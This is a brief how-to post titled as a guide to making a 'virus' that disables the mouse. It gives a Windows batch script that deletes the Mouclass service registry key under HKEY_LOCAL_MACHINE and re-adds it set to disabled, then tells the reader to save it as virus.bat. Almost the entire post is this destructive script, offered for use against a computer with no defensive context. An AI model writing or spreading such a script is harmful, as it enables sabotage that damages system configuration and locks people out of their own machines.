how to make virus that disable the mouse

• Open Notepad and copy below codes

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

• Save this file as  virus.bat
• Done you just created your virus.